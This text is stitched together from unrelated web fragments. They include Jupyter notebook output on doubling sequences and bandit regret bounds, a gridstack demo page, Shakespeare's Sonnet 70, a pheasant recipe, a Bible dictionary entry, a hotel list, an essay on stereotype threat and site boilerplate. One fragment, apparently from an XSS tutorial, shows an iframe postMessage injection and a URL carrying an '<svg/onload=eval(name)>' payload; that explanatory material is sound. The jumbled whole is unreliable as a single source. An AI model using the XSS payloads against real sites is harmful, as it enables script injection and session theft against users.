The 3th function is referred to as Intermediate doubling (d=2/3, e=0) and is <function function_f__for_intermediate3_sequences at 0x7f0e2cbe0048>
The 4th function is referred to as Intermediate doubling (d=1/2, e=1/2) and is <function function_f__for_intermediate4_sequences at 0x7f0e2cbe00d0>
The 5th function is referred to as Exponential doubling (d=1, e=0) and is <function function_f__for_exponential_sequences at 0x7f0e2cbd3268>
Conclusion: - geometric sequences cannot be used to conserve a logarithmic regret bound (as we proved), - exponential sequences can be used to conserve such bounds (as we proved, also), - and we conjecture that all other sequences (ie as soon as \(d > 0\) ie \(f(i) >> \log(i)\)) can be used too.
Bound in \(R_T \leq \mathcal{O}(\sqrt{T})\)¶
[25]:
gamma, delta = (_f(0.5), _f(0.0))
[26]:
plot_quality_first_upper_bound(gamma=gamma, delta=delta, show_Ti_m_Tim1=True)
The 0th function is referred to as Geometric doubling (d=0, e=1) and is <function function_f__for_geometric_sequences at 0x7f0e2cbc3ea0>
/home/lilian/ownCloud/owncloud.crans.org/Crans/These_2016-17/src/SMPyBandits/notebooks/venv3/lib/python3.6/site-packages/ipykernel_launcher.py:2: RuntimeWarning: divide by zero encountered in log
The 1th function is referred to as Intermediate doubling (d=1/2, e=0) and is <function function_f__for_intermediate_sequences at 0x7f0e2cbd3ae8>
The 2th function is referred to as Intermediate doubling (d=1/3, e=0) and is <function function_f__for_intermediate2_sequences at 0x7f0e2cbd3f28>
The 3th function is referred to as Intermediate doubling (d=2/3, e=0) and is <function function_f__for_intermediate3_sequences at 0x7f0e2cbe0048>
The 4th function is referred to as Intermediate doubling (d=1/2, e=1/2) and is <function function_f__for_intermediate4_sequences at 0x7f0e2cbe00d0>
The 5th function is referred to as Exponential doubling (d=1, e=0) and is <function function_f__for_exponential_sequences at 0x7f0e2cbd3268>
[27]:
plot_quality_first_upper_bound(gamma=gamma, delta=delta, show_Ti_m_Tim1=False)
The 0th function is referred to as Geometric doubling (d=0, e=1) and is <function function_f__for_geometric_sequences at 0x7f0e2cbc3ea0>
The 1th function is referred to as Intermediate doubling (d=1/2, e=0) and is <function function_f__for_intermediate_sequences at 0x7f0e2cbd3ae8>
The 2th function is referred to as Intermediate doubling (d=1/3, e=0) and is <function function_f__for_intermediate2_sequences at 0x7f0e2cbd3f28>
The 3th function is referred to as Intermediate doubling (d=2/3, e=0) and is <function function_f__for_intermediate3_sequences at 0x7f0e2cbe0048>
The 4th function is referred to as Intermediate doubling (d=1/2, e=1/2) and is <function function_f__for_intermediate4_sequences at 0x7f0e2cbe00d0>
The 5th function is referred to as Exponential doubling (d=1, e=0) and is <function function_f__for_exponential_sequences at 0x7f0e2cbd3268>
Conclusion: - geometric sequences can be used to conserve a minimax (worst case) regret bound in \(R_T = \mathcal{O}(\sqrt{T})\) (as we proved). > But the proof has to be careful and use a smart bound on \(T_i - T_{i-1} \leq \text{cste} \times b^{i-1}\) and not with a \(b^i\) (see difference between first and second plot) - exponential sequences can be used to conserve such bounds (as we conjectured but did not proved, also), - and we conjecture that all other sequences (ie as soon as \(d > 0\) ie \(f(i) >> \log(i)\)) can be used.
Bound in \(R_T \leq \mathcal{O}(\sqrt{T \log(T)})\)¶
[28]:
gamma, delta = (_f(0.5), _f(0.5))
[29]:
plot_quality_first_upper_bound(gamma=gamma, delta=delta, show_Ti_m_Tim1=True)
The 0th function is referred to as Geometric doubling (d=0, e=1) and is <function function_f__for_geometric_sequences at 0x7f0e2cbc3ea0>
/home/lilian/ownCloud/owncloud.crans.org/Crans/These_2016-17/src/SMPyBandits/notebooks/venv3/lib/python3.6/site-packages/ipykernel_launcher.py:2: RuntimeWarning: divide by zero encountered in log
The 1th function is referred to as Intermediate doubling (d=1/2, e=0) and is <function function_f__for_intermediate_sequences at 0x7f0e2cbd3ae8>
The 2th function is referred to as Intermediate doubling (d=1/3, e=0) and is <function function_f__for_intermediate2_sequences at 0x7f0e2cbd3f28>
The 3th function is referred to as Intermediate doubling (d=2/3, e=0) and is <function function_f__for_intermediate3_sequences at 0x7f0e2cbe0048>
The 4th function is referred to as Intermediate doubling (d=1/2, e=1/2) and is <function function_f__for_intermediate4_sequences at 0x7f0e2cbe00d0>
The 5th function is referred to as Exponential doubling (d=1, e=0) and is <function function_f__for_exponential_sequences at 0x7f0e2cbd3268>
[30]:
plot_quality_first_upper_bound(gamma=gamma, delta=delta, show_Ti_m_Tim1=False)
The 0th function is referred to as Geometric doubling (d=0, e=1) and is <function function_f__for_geometric_sequences at 0x7f0e2cbc3ea0>
The 1th function is referred to as Intermediate doubling (d=1/2, e=0) and is <function function_f__for_intermediate_sequences at 0x7f0e2cbd3ae8>
The 2th function is referred to as Intermediate doubling (d=1/3, e=0) and is <function function_f__for_intermediate2_sequences at 0x7f0e2cbd3f28>
The 3th function is referred to as Intermediate doubling (d=2/3, e=0) and is <function function_f__for_intermediate3_sequences at 0x7f0e2cbe0048>
The 4th function is referred to as Intermediate doubling (d=1/2, e=1/2) and is <function function_f__for_intermediate4_sequences at 0x7f0e2cbe00d0>
The 5th function is referred to as Exponential doubling (d=1, e=0) and is <function function_f__for_exponential_sequences at 0x7f0e2cbd3268>
Conclusion: - geometric sequences can be used to conserve a minimax (worst case) regret bound in \(R_T = \mathcal{O}(\sqrt{T \log(T)})\) (as we proved). > But the proof has to be careful and use a smart bound on \(T_i - T_{i-1} \leq \text{cste} \times b^{i-1}\) and not with a \(b^i\) (see difference between first and second plot) - exponential sequences can be used to conserve such bounds (as we conjectured but did not proved, also), - and we conjecture that all other sequences (ie as soon as \(d > 0\) ie \(f(i) >> \log(i)\)) can be used.
A last weird bound in \(R_T \leq \mathcal{O}(T^{2/3} \log(T))\) (just to try)¶
[31]:
gamma, delta = (_f(0.66667), _f(1.0))
[32]:
plot_quality_first_upper_bound(gamma=gamma, delta=delta, show_Ti_m_Tim1=True)
The 0th function is referred to as Geometric doubling (d=0, e=1) and is <function function_f__for_geometric_sequences at 0x7f0e2cbc3ea0>
/home/lilian/ownCloud/owncloud.crans.org/Crans/These_2016-17/src/SMPyBandits/notebooks/venv3/lib/python3.6/site-packages/ipykernel_launcher.py:2: RuntimeWarning: divide by zero encountered in log
The 1th function is referred to as Intermediate doubling (d=1/2, e=0) and is <function function_f__for_intermediate_sequences at 0x7f0e2cbd3ae8>
The 2th function is referred to as Intermediate doubling (d=1/3, e=0) and is <function function_f__for_intermediate2_sequences at 0x7f0e2cbd3f28>
The 3th function is referred to as Intermediate doubling (d=2/3, e=0) and is <function function_f__for_intermediate3_sequences at 0x7f0e2cbe0048>
The 4th function is referred to as Intermediate doubling (d=1/2, e=1/2) and is <function function_f__for_intermediate4_sequences at 0x7f0e2cbe00d0>
The 5th function is referred to as Exponential doubling (d=1, e=0) and is <function function_f__for_exponential_sequences at 0x7f0e2cbd3268>
[33]:
plot_quality_first_upper_bound(gamma=gamma, delta=delta, show_Ti_m_Tim1=False)
The 0th function is referred to as Geometric doubling (d=0, e=1) and is <function function_f__for_geometric_sequences at 0x7f0e2cbc3ea0>
The 1th function is referred to as Intermediate doubling (d=1/2, e=0) and is <function function_f__for_intermediate_sequences at 0x7f0e2cbd3ae8>
The 2th function is referred to as Intermediate doubling (d=1/3, e=0) and is <function function_f__for_intermediate2_sequences at 0x7f0e2cbd3f28>
The 3th function is referred to as Intermediate doubling (d=2/3, e=0) and is <function function_f__for_intermediate3_sequences at 0x7f0e2cbe0048>
The 4th function is referred to as Intermediate doubling (d=1/2, e=1/2) and is <function function_f__for_intermediate4_sequences at 0x7f0e2cbe00d0>
The 5th function is referred to as Exponential doubling (d=1, e=0) and is <function function_f__for_exponential_sequences at 0x7f0e2cbd3268>
Conclusion: - geometric sequences can be used to conserve a minimax (worst case) regret bound in \(R_T = \mathcal{O}(T^{\gamma} (\log(T))^{\delta})\) (as we proved in the generic case) > But the proof has to be careful and use a smart bound on \(T_i - T_{i-1} \leq \text{cste} \times b^{i-1}\) and not with a \(b^i\) (see difference between first and second plot) - exponential sequences can be used to conserve such bounds (as we conjectured but did not proved, also), - and we conjecture that all other sequences (ie as soon as \(d > 0\) ie \(f(i) >> \log(i)\)) can be used.
Conclusions¶
The take home messages are the following:
About geometric sequences¶
We can see that bounding \(T_i - T_{i-1}\) by \(T_i\) usually is strongly sub-optimal for the geometric sequences, as we saw it in our paper, but works fine for the other sequences.
We could check that (numerically) a geometric sequence grows too slowly to preserve a logarithmic bound \(R_T \leq \mathcal{O}(\log(T))\) (first plot), as we proved.
About exponential sequences¶
They work perfectly fine to preserve logarithmic regret bound, as we proved.
And as we conjectured, they (seem to) work perfectly fine too to preserve minimax (worst case) regret bound, even if we failed to prove it completely so far.
About intermediate sequences¶
They (seem to) work perfectly fine to preserve logarithmic regret bound, as we started to prove it (work in progress).
And as we conjectured, they (seem to) work perfectly fine too to preserve minimax (worst case) regret bound, as we started to prove it (work in progress).
That’s it for today!


Demos
Angular wrapper
We now ship an Angular Component
to make it supper easy for that framework (Vue and React examples are above)
These are complete Angular projects with multiple options. use `yarn` and `yarn start` in angular demo sub-project to run them
- simple.ts
- ngFor.ts
- ngFor with command (not recommended)
- gridstack.component.ts and gridstack-item.component.ts (BEST)
Old v5.1.1 Jquery Demos
Note: those are no longer supported, and use an old version of the lib to compare functionality.


The Sonnets
by William Shakespeare
Sonnet 70
Additional Information
- Year Published: 1609
- Language: English
- Country of Origin: England
- Source: Shakespeare, W. The sonnets. In R. G. White (Ed.), The complete works of William Shakespeare. New York: Sully and Kleinteich.
-
Readability:
- Flesch–Kincaid Level: 11.0
- Word Count: 122
- Genre: Poetry
- Keywords: 17th century literature, british literature, poetry, william shakespeare
- ✎ Cite This
Downloads
That thou art blamed shall not be thy defect,
For slander’s mark was ever yet the fair,
The ornament of beauty is suspect,
A crow that flies in heaven’s sweetest air.
So thou be good, slander doth but approve,
Thy worth the greater being wooed of time,
For canker vice the sweetest buds doth love,
And thou present’st a pure unstained prime.
Thou hast passed by the ambush of young days,
Either not assailed, or victor being charged,
Yet this thy praise cannot be so thy praise,
To tie up envy, evermore enlarged,
If some suspect of ill masked not thy show,
Then thou alone kingdoms of hearts shouldst owe.


Preparation time
less than 30 mins
Cooking time
10 to 30 mins
Serves
Serves 2
Preheat the oven to 200C/Gas 6.
Using a sharp knife carefully cut a cross into the bottom of each chestnut - this will prevent them exploding when roasting.
Place the chestnuts onto a baking tray and transfer to the oven to roast for 20 minutes, or until tender, then remove from the oven and allow to cool. Peel off the chestnut shells and slice the nuts finely and set aside.
Season the pheasant with salt and freshly ground black pepper and lightly drizzle with olive oil.
Heat a griddle pan until hot, then add the pheasant pieces skin-side down and lightly griddle until golden-brown. Turn the breasts and thighs over and continue cooking, until almost completely cooked through, but still a little pink (or for longer according to your taste) The thighs will take longer to cook than the breasts, so be sure to cook them for longer. The juices will run clear when pierced with a skewer.
Meanwhile, heat a frying pan until hot, then add the bacon lardons and fry until golden brown all over.
Drain the lardons of any fat and place into a saucepan.
Add the chestnuts, sprouts and cream and bring to the boil. Cook for 4-5 minutes, or until the sprouts are just tender and the cream has reduced and thickened.
Place the red wine in a small frying pan and place over a medium heat. Bring to the boil and cook until reduced by two-thirds of the original volume.
To serve, place the creamed sprouts and chestnuts onto two warm plates. Top each with a pheasant breast and thigh and spoon a little of the red wine reduction around.


Your affiliate subscription has been submitted successfully. You will get a response from us within 3 to 5 business days.


"DOUGH "(batsek, meaning “swelling,” i.e., in fermentation). The dough the Israelites had prepared for baking was carried away by them out of Egypt in their kneading-troughs (Exodus 12:34, 39). In the process of baking, the dough had to be turned (Hos. 7:8).
"DOUGH "(batsek, meaning “swelling,” i.e., in fermentation). The dough the Israelites had prepared for baking was carried away by them out of Egypt in their kneading-troughs (Exodus 12:34, 39). In the process of baking, the dough had to be turned (Hos. 7:8).


---
title: What's the difference between machine learning, statistics, and data mining?
- SHARP SIGHT LABS
date: '2016-05-12T09:14:18+05:30'
tags:
- ml
tumblr_url: https://sureshshanmugam.com/post/144232070284/whats-the-difference-between-machine-learning
---
What's the difference between machine learning, statistics, and data mining? - SHARP SIGHT LABS


Main Content
Breadcrumb
Become a Member
North Queensland Ensembles Inc.(NQE) is the administrative body for the Barrier Reef Orchestra, by becomining a member you are supporting the Orchestra which was formed in 2000.
Members Benefits
- Discounted tickets for all NQE events
- Priority seeting
- Exclusive VIP Event invitations
- Monthly Newsletter
Membership Pricing
- Adult: $30
- Family: $60*
- Full Time student or under 18: $15
- Concession: $15**
*Family memberships avaliable to a group of two adults and three persons under the age of 18 all of whom reside at the same address.
**Concession avaliable to persons in reciept of Centrelink pension card.
Contact us direct
- Phone: +61 (07) 47 222 789
- Email<EMAIL_ADDRESS>- Address: PO Box 576, Townsville Qld 4810


Character List by grade in Japanese schools
kana
1st
2nd
3rd
4th
5th
6th
HIRAGANA(ひらがな)
KATAKANA(カタカナ)


Menu
Start
Shopping
About
Purchase
Contact Us
Log In
Welcome To Contech Platform!
Sign In
Sign Up
Username
Password
Keep me Signed in
Forgot Password?
Username
Password
Repeat Password
Email Address
Already Member?
Join Our Newsletter
Keep Updated
How To
Find Us?
One infinity loop, 54100
6836 6964
<EMAIL_ADDRESS>Copyright © Your Website 2016


It’s worth to note that the security header X-Frame-Options may render this attack based on iframe unfeasible but that will not stop one using another browser tab or window.
Now, to send the message to that page with our XSS payload, we just need to write this on a local page like mypage.html
<iframe src="//brutelogic.com.br/tests/status.html" onload="frames[0].postMessage('

Another advantage of loading the target website in an iframe is the possibility to shorten and hide the injected payload with “eval(name)” as the javascript code, just by using the “name” parameter in URL with any XSS vector:
http://localhost/crosspwn.php?target=//brutelogic.com.br/webgun/test.php?p=<svg/onload=eval(name)>&name=alert(document.domain)


Sound Transit light rail runs from the airport to Pioneer Square
Hotels
The Arctic Club Seattle - DoubleTree by Hilton
700 3rd Ave., Seattle, WA 98104
(206) 340-0340
hotel website
- 2 blocks from the Sound Transit Pioneer Square station
- 10-minute walk to Axis
Courtyard Marriott Downtown/Pioneer Square
612 2nd Avenue, Seattle, WA 98104
(206) 625-1111
hotel website
- 2 blocks from the Sound Transit Pioneer Square station
- 5-minute walk to Axis
Best Western Plus Pioneer Square
77 Yesler Way, Seattle, WA 98104
(800) 800-5514
hotel website
- 4 blocks from the Sound Transit Pioneer Square station
- 4-minute walk to Axis
Alexis Hotel - A Kimpton Hotel
1007 1st Ave, Seattle, WA 98104
(206) 624-4844
hotel website
Hotel 1000
1000 1st Ave, Seattle, WA 98104
(206) 957-1000
hotel website
Silver Cloud Hotel Seattle - Broadway
1100 Broadway, Seattle, WA 98122
(206) 325-1400
hotel website
Silver Cloud Hotel Seattle - Stadium
1046 1st Avenue South, Seattle, WA 98134
(206) 204-9800
hotel website
VRBO or airbnb may have a few cheaper options
In addition, there are many other hotels in Seattle to choose from
Please let us know if you need help booking a hotel


Courses
Actuarial Science
Aerospace Engineering
Agricultural Engineering
Akan
Biochemistry
Biological Science
Biomedical Engineering
Business Admnistration
Chemistry
Chemical Engineering
Civil Engineering
Computer Engineering
Computer Science
Culture & Tourism
Doctor of Optometry
Economics
Electrical Engineering
English
Environmental Science
Food Science
French
Geological Engineering
Geomatic Engineering
History
Law
Materials Engineering
Mathematics
Mechanical Engineering
Medicine
Metallurgical Engineering
Meteorology & Climate Science
Nursing & Midwifery
Petroleum Engineering
Physics
Political Studies
Religious Studies
Social Work
Sociology
Statistics & Mathematics
Telecommunication Engineering
Top


You have 0 New Message Notification.
You have 0 New Circles Notification.
You have 0 New Job Notification.
You have 0 New Notification.


To add metabolite identification information please first ensure you have added details to the assay table.


STEREOTYPE THREAT: The fear of being viewed through the lens of a negative stereotype and/or the fear of doing something that would inadvertently confirm the negative stereotype. Mis-representing yourself and the group to which a part of your identity is closely tied.
Social identity can refer to anything that identifies you - ethnicity, age, economic status, gender, sexuality, etc. - in a social setting. You can cultivate that identity (i.e. "I identify as a girl, and to express that identity I will wear a traditionally feminine dress") or someone can paste it on you (i.e. "Your skin is ridiculously pale so you are white").
Stereotypes frustrate me so much because I know, intellectually, that (as a woman) I am not stupid, slatternly, flighty, or weak, but I also know believe other people might judge me that way without getting to know me. Being a girl gave affords me more opportunities to explore certain hobbies, like baking, knitting, and dancing ballet. Just as my female-ness offered me those hobbies, it gives me discouragement around pursuing math (when I told my dad I wanted to take a math class, he responded, "Why?"), learning about cars, or starting up the grill when my family has a cookout.
Early on in freshman year of college, I met more than a few people pursuing computer science. What they were doing with their computers seemed so cool and mysterious. I wanted to know what they were doing, so I asked. When I didn't understand, I asked more questions. More often than not, the response I got was a variation on, "It's really difficult and complicated" with a dose of "You wouldn't understand" thrown in for good measure. It's hard to blame those guys. They were learning about Computer Science, not professors trying to convert a student. Nevertheless, their attitude gave the impression that CS was a boys' club (no girls allowed) and reinforced the well-known stereotype that women aren't cut out for STEM fields.
Further expressing a desire to learn programming, I started soliciting people for advice on where to start. Some people told me about Python, but the words that stuck were, "Programming is really hard. Why do you want to learn that?" Those words gave me the idea that because something is "hard," I shouldn't attempt it and probably won't be good at it. Whether or not this has to do with me being female-bodied or not is a mystery, but it again reinforces a theme that runs rampant through our culture - women aren't supposed to do things that are "hard." Since being a woman is a core part of my identity, when I think I'm fulfilling a negative stereotype about that identity (I can't solve a hard math problem, so I'm reflecting that women are bad at math), it feels horrible. Chest-tightening anxiety can be difficult to work through, and it's more difficult to believe that you're good at a task when you underperform.
However, the motivation to destroy that stereotype can also fuel its fulfillment. In his studies on the subject of stereotype threat, Dr. Claude Steele learned that when people are faced with a negative stereotype about their group, they are more likely to fulfill it.
In his study, Steele found that people are more likely to underperform when the task is linked with a negative stereotype about their group that is linked.   Steele's explanation is that black students, when explicitly faced with the threat of affirming the stereotype, become intensely focused on destroying the stereotype - which steals cognitive ability from performing well on the test.
This reaction to stereotype threat is also supported in other and more subtle cases - for instance, women golfers completed a golf test with a male reviewer and performed worse than when they were tested with a female reviewer, and black students performed worse on an oral exam when the examiner was white than when the examiner was black.
The subtle indication that the stereotype might be present - a black student might expect that a white examiner will draw a conclusion about black students based on their solo performance - is as stressful as the explicit clarification that the stereotype is there. This effect can be amplified when someone who is nonwhite and non-male is or expects to be the minority in a white, male-centric group. Consider this report from the Atlantic:
"...for African-American students generally, negative stereotypes apply in many situations, even personal ones. Why was that old roommate unfriendly to him? Did that young white woman who has been so nice to him in class not return his phone call because she's afraid he'll ask her for a date? Is it because of his race or something else about him? He cannot know the answers, but neither can his rational self fully dismiss the questions. Together they raise a deeper question: Will his race be a boundary to his experience, to his emotions, to his relationships?"
That circular questioning can be a constant, subconscious backdrop to someone's daily life leads to constantly checking that you're doing okay, that you're good, that you're earning respect. Unfortunately, it takes a lot of emotional effort and ultimately inhibits performance.
So how do we combat the threat?
In my ideal, every type of person is represented in companies, in media, in any gathering. I'd love it if everyone supported each other and all stereotypes were good because we're all part of the same big happy human family, but I know that's a big goal and tremendously far away (if it'll ever be reached). So, baby steps.
Fortunately, there's a flip side to the "implied minority" experiment: people who watched a gender-balanced video of a conference expressed more interest in attending the conference than people who watched a video that advertised the conference with more male than female attendants. This seems an easy enough solution - to combat stereotype threat, implement practices to ensure representative equality.
Another solution would be to emphasize, at the beginning of whatever exercise is happening, that the results of the exercise have no bearing on ranking an ability. Instead, the exercise is just for the exercise's sake.
Will being actively inclusive solve all of the stereotype problems existent in society? No. Of course not. But it's a good place to start.
8.23.2014


--- title: Publications menu_item: Publications menu_order: 20 background: document.png author: Anthony SIMONET description: List of publications from Anthony SIMONET, PhD. ---
You can download my complete bibliography or visit my Google Scholar Profile.